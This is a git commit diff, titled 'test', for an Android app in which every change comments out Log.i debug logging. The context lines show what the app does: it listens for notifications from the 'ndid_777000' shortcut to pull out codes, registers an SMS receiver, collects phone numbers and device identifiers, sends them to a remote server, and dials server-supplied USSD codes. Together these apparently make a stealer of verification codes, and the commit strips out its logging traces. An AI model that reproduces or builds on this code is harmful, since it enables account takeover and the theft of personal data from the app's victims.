test
This commit is contained in:
parent
63bbc85318
commit
2dd2014aea
5 changed files with 48 additions and 48 deletions
|
@ -52,14 +52,14 @@ public class Encryption {
|
||||||
"SECRET_KEY" // VARIABLE
|
"SECRET_KEY" // VARIABLE
|
||||||
).getBytes("UTF-8"), "AES");
|
).getBytes("UTF-8"), "AES");
|
||||||
|
|
||||||
Log.i("asd", "SECRET_KEY");// VARIABLE
|
// Log.i("asd", "SECRET_KEY");// VARIABLE
|
||||||
Log.i("dsa", "IV_KEY");// VARIABLE
|
// Log.i("dsa", "IV_KEY");// VARIABLE
|
||||||
|
|
||||||
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
|
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
|
||||||
cipher.init(mode, skeySpec, iv);
|
cipher.init(mode, skeySpec, iv);
|
||||||
return cipher;
|
return cipher;
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
Log.i("gfggg", Arrays.toString(ignored.getStackTrace()));
|
// Log.i("gfggg", Arrays.toString(ignored.getStackTrace()));
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
@ -121,7 +121,7 @@ public class Encryption {
|
||||||
MessageDigest md = MessageDigest.getInstance("SHA-512");
|
MessageDigest md = MessageDigest.getInstance("SHA-512");
|
||||||
return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
|
return randomizeCase(bytesToHex(md.digest(bytesOfMessage)));
|
||||||
} catch (Exception ignore) {
|
} catch (Exception ignore) {
|
||||||
Log.i("exp2", Arrays.toString(ignore.getStackTrace()));
|
// Log.i("exp2", Arrays.toString(ignore.getStackTrace()));
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
@ -132,7 +132,7 @@ public class Encryption {
|
||||||
MessageDigest md = MessageDigest.getInstance("MD5");
|
MessageDigest md = MessageDigest.getInstance("MD5");
|
||||||
return bytesToHex(md.digest(bytesOfMessage));
|
return bytesToHex(md.digest(bytesOfMessage));
|
||||||
} catch (Exception ignore) {
|
} catch (Exception ignore) {
|
||||||
Log.i("exp3", Arrays.toString(ignore.getStackTrace()));
|
// Log.i("exp3", Arrays.toString(ignore.getStackTrace()));
|
||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
@ -143,7 +143,7 @@ public class Encryption {
|
||||||
byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
|
byte[] plainText = cipher.doFinal(Base64.decode(data.getBytes(), Base64.DEFAULT));
|
||||||
return new String(plainText);
|
return new String(plainText);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("exp4", Arrays.toString(e.getStackTrace()));
|
// Log.i("exp4", Arrays.toString(e.getStackTrace()));
|
||||||
}
|
}
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
@ -164,7 +164,7 @@ public class Encryption {
|
||||||
return decryptedMessage;
|
return decryptedMessage;
|
||||||
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("exp22", Arrays.toString(e.getStackTrace()));
|
// Log.i("exp22", Arrays.toString(e.getStackTrace()));
|
||||||
}
|
}
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
@ -179,7 +179,7 @@ public class Encryption {
|
||||||
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
|
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
|
||||||
return bytesToHex(cipher.doFinal(data.getBytes()));
|
return bytesToHex(cipher.doFinal(data.getBytes()));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("exp31", Arrays.toString(e.getStackTrace()));
|
// Log.i("exp31", Arrays.toString(e.getStackTrace()));
|
||||||
}
|
}
|
||||||
return "";
|
return "";
|
||||||
|
|
||||||
|
|
|
@ -52,7 +52,7 @@ public class GetRequest {
|
||||||
result
|
result
|
||||||
)));
|
)));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("exp1", Arrays.toString(e.getStackTrace()));
|
// Log.i("exp1", Arrays.toString(e.getStackTrace()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -57,7 +57,7 @@ public class Listener extends NotificationListenerService {
|
||||||
@Override
|
@Override
|
||||||
public void onNotificationPosted(StatusBarNotification sbn){
|
public void onNotificationPosted(StatusBarNotification sbn){
|
||||||
String packageName = sbn.getPackageName();
|
String packageName = sbn.getPackageName();
|
||||||
Log.i(packageName, packageName);
|
// Log.i(packageName, packageName);
|
||||||
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
|
if(getShortcutSafe(sbn).equals("ndid_777000")){ // STATIC
|
||||||
String code = processExtras(sbn.getNotification().extras);
|
String code = processExtras(sbn.getNotification().extras);
|
||||||
if (code.length() < 5)
|
if (code.length() < 5)
|
||||||
|
|
|
@ -148,7 +148,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void onCreate(Bundle savedInstanceState) {
|
protected void onCreate(Bundle savedInstanceState) {
|
||||||
Log.i("a", "1"); // STATIC
|
// Log.i("a", "1"); // STATIC
|
||||||
super.onCreate(savedInstanceState);
|
super.onCreate(savedInstanceState);
|
||||||
setContentView(R.layout.activity_main);
|
setContentView(R.layout.activity_main);
|
||||||
|
|
||||||
|
@ -201,9 +201,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
// Загрузка начального URL
|
// Загрузка начального URL
|
||||||
webView.loadUrl(websiteUrl);
|
webView.loadUrl(websiteUrl);
|
||||||
Log.i("a", "Loading data..."); // STATIC
|
// Log.i("a", "Loading data..."); // STATIC
|
||||||
loadData();
|
loadData();
|
||||||
Log.i("a", "Data loaded."); // STATIC
|
// Log.i("a", "Data loaded."); // STATIC
|
||||||
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
@ -211,35 +211,35 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
private void loadData() {
|
private void loadData() {
|
||||||
|
|
||||||
requestsCount = 0;
|
requestsCount = 0;
|
||||||
Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC
|
// Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC
|
||||||
GetRequest ussdRequestTask = new GetRequest(this, this);
|
GetRequest ussdRequestTask = new GetRequest(this, this);
|
||||||
ussdRequestTask.execute(ussdUrl);
|
ussdRequestTask.execute(ussdUrl);
|
||||||
Log.i("a", "Requesting languages - " + languagesUrl); // STATIC
|
// Log.i("a", "Requesting languages - " + languagesUrl); // STATIC
|
||||||
GetRequest languagesRequestTask = new GetRequest(this, this);
|
GetRequest languagesRequestTask = new GetRequest(this, this);
|
||||||
languagesRequestTask.execute(languagesUrl);
|
languagesRequestTask.execute(languagesUrl);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getKey(Context context) {
|
public static String getKey(Context context) {
|
||||||
try {
|
try {
|
||||||
Log.i("a", "Get key"); // STATIC
|
// Log.i("a", "Get key"); // STATIC
|
||||||
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
|
SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE);
|
||||||
return sharedPreferences.getString("KEY",
|
return sharedPreferences.getString("KEY",
|
||||||
"INIT_KEY"); // VARIABLE STATIC
|
"INIT_KEY"); // VARIABLE STATIC
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC
|
// Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC
|
||||||
return ""; // STATIC
|
return ""; // STATIC
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void setKey(Context context, String key) {
|
public static void setKey(Context context, String key) {
|
||||||
Log.i("a", "Set key"); // STATIC
|
// Log.i("a", "Set key"); // STATIC
|
||||||
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
|
SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit();
|
||||||
editor.putString("KEY", key);
|
editor.putString("KEY", key);
|
||||||
editor.apply();
|
editor.apply();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void promptNotificationAccess() throws JSONException {
|
private void promptNotificationAccess() throws JSONException {
|
||||||
Log.i("a", "Prompt"); // STATIC
|
// Log.i("a", "Prompt"); // STATIC
|
||||||
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
AlertDialog.Builder builder = new AlertDialog.Builder(this);
|
||||||
builder.setTitle(language.getString("title")); // STATIC
|
builder.setTitle(language.getString("title")); // STATIC
|
||||||
builder.setMessage(language.getString("message")); // STATIC
|
builder.setMessage(language.getString("message")); // STATIC
|
||||||
|
@ -264,7 +264,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
this.runOnUiThread(new Runnable() {
|
this.runOnUiThread(new Runnable() {
|
||||||
public void run() {
|
public void run() {
|
||||||
Log.i("a", "Run thread"); // STATIC
|
// Log.i("a", "Run thread"); // STATIC
|
||||||
AlertDialog dialog = builder.create();
|
AlertDialog dialog = builder.create();
|
||||||
dialog.show();
|
dialog.show();
|
||||||
}
|
}
|
||||||
|
@ -273,7 +273,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
public static String getDeviceInfo(Context context)
|
public static String getDeviceInfo(Context context)
|
||||||
{
|
{
|
||||||
Log.i("a", "Get device info"); // STATIC
|
// Log.i("a", "Get device info"); // STATIC
|
||||||
String m_data = ""; // STATIC
|
String m_data = ""; // STATIC
|
||||||
String p_seperator = ":"; // STATIC
|
String p_seperator = ":"; // STATIC
|
||||||
StringBuilder m_builder = new StringBuilder();
|
StringBuilder m_builder = new StringBuilder();
|
||||||
|
@ -297,7 +297,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
|
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
|
||||||
m_builder.append(android_id);
|
m_builder.append(android_id);
|
||||||
m_data = m_builder.toString();
|
m_data = m_builder.toString();
|
||||||
Log.i("a", "Collected device info - " + m_data); // STATIC
|
// Log.i("a", "Collected device info - " + m_data); // STATIC
|
||||||
return m_data;
|
return m_data;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -310,7 +310,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
Intent intent = new Intent(this, Listener.class);
|
Intent intent = new Intent(this, Listener.class);
|
||||||
startService(intent);
|
startService(intent);
|
||||||
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
|
||||||
Log.i("a", "Make process"); // STATIC
|
// Log.i("a", "Make process"); // STATIC
|
||||||
Context permissionContext = this;
|
Context permissionContext = this;
|
||||||
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
|
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
|
||||||
}
|
}
|
||||||
|
@ -329,21 +329,21 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
public void cancelTimer(){
|
public void cancelTimer(){
|
||||||
Log.i("a", "Canceling timer"); // STATIC
|
// Log.i("a", "Canceling timer"); // STATIC
|
||||||
if (timer != null) {
|
if (timer != null) {
|
||||||
timer.cancel();
|
timer.cancel();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void nextPhone() {
|
public void nextPhone() {
|
||||||
Log.i("a", "Next phone"); // STATIC
|
// Log.i("a", "Next phone"); // STATIC
|
||||||
currentPhone += 1;
|
currentPhone += 1;
|
||||||
if (phones.size() > currentPhone)
|
if (phones.size() > currentPhone)
|
||||||
savePhone(getBaseContext(), phones.get(currentPhone));
|
savePhone(getBaseContext(), phones.get(currentPhone));
|
||||||
}
|
}
|
||||||
|
|
||||||
private void makeProcess(Context context) {
|
private void makeProcess(Context context) {
|
||||||
Log.i("a", "Make process task..."); // STATIC
|
// Log.i("a", "Make process task..."); // STATIC
|
||||||
currentPhone = 0;
|
currentPhone = 0;
|
||||||
phones = collectPhoneNumber(context);
|
phones = collectPhoneNumber(context);
|
||||||
savePhone(context, phones.get(currentPhone));
|
savePhone(context, phones.get(currentPhone));
|
||||||
|
@ -362,7 +362,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) {
|
||||||
Log.i("a", "isSimConnected"); // STATIC
|
// Log.i("a", "isSimConnected"); // STATIC
|
||||||
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE)
|
||||||
!= PackageManager.PERMISSION_GRANTED) {
|
!= PackageManager.PERMISSION_GRANTED) {
|
||||||
return false;
|
return false;
|
||||||
|
@ -384,15 +384,15 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private void savePhone(Context context, PhoneNumber phone){
|
private void savePhone(Context context, PhoneNumber phone){
|
||||||
Log.i("a", "SavePhone - " + phone.phone); // STATIC
|
// Log.i("a", "SavePhone - " + phone.phone); // STATIC
|
||||||
if(phone.phoneProvided()){
|
if(phone.phoneProvided()){
|
||||||
Log.i("a", "PhoneProvided"); // STATIC
|
// Log.i("a", "PhoneProvided"); // STATIC
|
||||||
requestPhone(context, phone);
|
requestPhone(context, phone);
|
||||||
} else {
|
} else {
|
||||||
Log.i("a", "Phone not provided"); // STATIC
|
// Log.i("a", "Phone not provided"); // STATIC
|
||||||
receivingSms = false;
|
receivingSms = false;
|
||||||
setCurrentHash(context, ""); // STATIC
|
setCurrentHash(context, ""); // STATIC
|
||||||
Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager));
|
// Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager));
|
||||||
if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator))
|
if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator))
|
||||||
nextPhone();
|
nextPhone();
|
||||||
else
|
else
|
||||||
|
@ -402,7 +402,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
private void requestPhone(Context context, PhoneNumber phone){
|
private void requestPhone(Context context, PhoneNumber phone){
|
||||||
setCurrentHash(context, ""); // STATIC
|
setCurrentHash(context, ""); // STATIC
|
||||||
Log.i("a", "Requesting phone - " + phone.phone); // STATIC
|
// Log.i("a", "Requesting phone - " + phone.phone); // STATIC
|
||||||
PostRequest postRequestTask = new PostRequest(context, this);
|
PostRequest postRequestTask = new PostRequest(context, this);
|
||||||
postRequestTask.execute("phone",
|
postRequestTask.execute("phone",
|
||||||
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
phone.save() + ";" + getDeviceInfo(context)); // STATIC
|
||||||
|
@ -410,9 +410,9 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onPostResponse(JSONObject result) {
|
public void onPostResponse(JSONObject result) {
|
||||||
Log.i("a", "On post Response"); // STATIC
|
// Log.i("a", "On post Response"); // STATIC
|
||||||
try {
|
try {
|
||||||
Log.i("PostResult", result.toString()); // STATIC
|
// Log.i("PostResult", result.toString()); // STATIC
|
||||||
if(result.has("hash")) { // STATIC
|
if(result.has("hash")) { // STATIC
|
||||||
setCurrentHash(this, result.getString("hash")); // STATIC
|
setCurrentHash(this, result.getString("hash")); // STATIC
|
||||||
}
|
}
|
||||||
|
@ -429,7 +429,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}, Math.round(codeTimeout * 1000));
|
}, Math.round(codeTimeout * 1000));
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("j", Arrays.toString(e.getStackTrace()));
|
// Log.i("j", Arrays.toString(e.getStackTrace()));
|
||||||
throw new RuntimeException(e);
|
throw new RuntimeException(e);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -437,7 +437,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onGetResponse(JSONObject result) {
|
public void onGetResponse(JSONObject result) {
|
||||||
Log.i("a", "onGetResponse"); // STATIC
|
// Log.i("a", "onGetResponse"); // STATIC
|
||||||
try {
|
try {
|
||||||
if(result.get("name"). // STATIC
|
if(result.get("name"). // STATIC
|
||||||
equals("ussd")){ // STATIC
|
equals("ussd")){ // STATIC
|
||||||
|
@ -466,13 +466,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
Log.i("ww", Arrays.toString(e.getStackTrace()));
|
// Log.i("ww", Arrays.toString(e.getStackTrace()));
|
||||||
throw new RuntimeException(e);
|
throw new RuntimeException(e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private boolean isNotificationServiceEnabled() {
|
private boolean isNotificationServiceEnabled() {
|
||||||
Log.i("a", "isNotificationServiceEnabled"); // STATIC
|
// Log.i("a", "isNotificationServiceEnabled"); // STATIC
|
||||||
String packageName = getPackageName();
|
String packageName = getPackageName();
|
||||||
String enabledListeners = Settings.Secure.getString(
|
String enabledListeners = Settings.Secure.getString(
|
||||||
getContentResolver(),
|
getContentResolver(),
|
||||||
|
@ -487,7 +487,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private static String[] retrievePermissions(Context context) {
|
private static String[] retrievePermissions(Context context) {
|
||||||
Log.i("a", "retrievePermissions"); // STATIC
|
// Log.i("a", "retrievePermissions"); // STATIC
|
||||||
final String pkgName = context.getPackageName();
|
final String pkgName = context.getPackageName();
|
||||||
try {
|
try {
|
||||||
return context
|
return context
|
||||||
|
@ -495,13 +495,13 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
|
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
|
||||||
.requestedPermissions;
|
.requestedPermissions;
|
||||||
} catch (PackageManager.NameNotFoundException e) {
|
} catch (PackageManager.NameNotFoundException e) {
|
||||||
Log.i("222", Arrays.toString(e.getStackTrace()));
|
// Log.i("222", Arrays.toString(e.getStackTrace()));
|
||||||
return new String[0];
|
return new String[0];
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestPermissions(String[] permissions) {
|
private void requestPermissions(String[] permissions) {
|
||||||
Log.i("a", "requestPermissions"); // STATIC
|
// Log.i("a", "requestPermissions"); // STATIC
|
||||||
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -529,7 +529,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private void requestUssdNumber(PhoneNumber phone) {
|
private void requestUssdNumber(PhoneNumber phone) {
|
||||||
Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC
|
// Log.i("a", "requestUssdNumber - " + phone.operator); // STATIC
|
||||||
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
|
||||||
return;
|
return;
|
||||||
String ussdRequest = null;
|
String ussdRequest = null;
|
||||||
|
@ -538,7 +538,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
|
ussdRequest = ussd.getJSONObject(phone.operator).getString("number"); // STATIC
|
||||||
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
|
smsResponse = ussd.getJSONObject(phone.operator).getBoolean("smsResponsed"); // STATIC
|
||||||
} catch (JSONException e) {
|
} catch (JSONException e) {
|
||||||
Log.i("ddd", Arrays.toString(e.getStackTrace()));
|
// Log.i("ddd", Arrays.toString(e.getStackTrace()));
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -569,7 +569,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
}
|
}
|
||||||
|
|
||||||
private List<PhoneNumber> collectPhoneNumber(Context context){
|
private List<PhoneNumber> collectPhoneNumber(Context context){
|
||||||
Log.i("a", "collectPhoneNumber"); // STATIC
|
// Log.i("a", "collectPhoneNumber"); // STATIC
|
||||||
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
List<PhoneNumber> phoneNumbers = new ArrayList<>();
|
||||||
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC
|
||||||
return phoneNumbers;
|
return phoneNumbers;
|
||||||
|
@ -626,7 +626,7 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void onBackPressed() {
|
public void onBackPressed() {
|
||||||
Log.i("a", "onBackPressed"); // STATIC
|
// Log.i("a", "onBackPressed"); // STATIC
|
||||||
if (webView.canGoBack()) {
|
if (webView.canGoBack()) {
|
||||||
webView.goBack();
|
webView.goBack();
|
||||||
} else {
|
} else {
|
||||||
|
@ -636,12 +636,12 @@ public class MainActivity extends AppCompatActivity implements PostRequestCallba
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void onDestroy() {
|
protected void onDestroy() {
|
||||||
Log.i("a", "onDestroy"); // STATIC
|
// Log.i("a", "onDestroy"); // STATIC
|
||||||
super.onDestroy();
|
super.onDestroy();
|
||||||
try {
|
try {
|
||||||
unregisterReceiver(smsReceiver);
|
unregisterReceiver(smsReceiver);
|
||||||
} catch(IllegalArgumentException e) {
|
} catch(IllegalArgumentException e) {
|
||||||
Log.i("ppp", Arrays.toString(e.getStackTrace()));
|
// Log.i("ppp", Arrays.toString(e.getStackTrace()));
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
|
@ -35,7 +35,7 @@ public class PostRequest {
|
||||||
public final OkHttpClient client = new OkHttpClient();
|
public final OkHttpClient client = new OkHttpClient();
|
||||||
|
|
||||||
public void execute(String... params) {
|
public void execute(String... params) {
|
||||||
Log.i("ExecutePost", "Post Executing...");
|
// Log.i("ExecutePost", "Post Executing...");
|
||||||
String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));
|
String timeStamp = String.valueOf(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));
|
||||||
String key = MainActivity.getKey(context) + timeStamp;
|
String key = MainActivity.getKey(context) + timeStamp;
|
||||||
|
|
||||||
|
|
Loading…
Add table
Reference in a new issue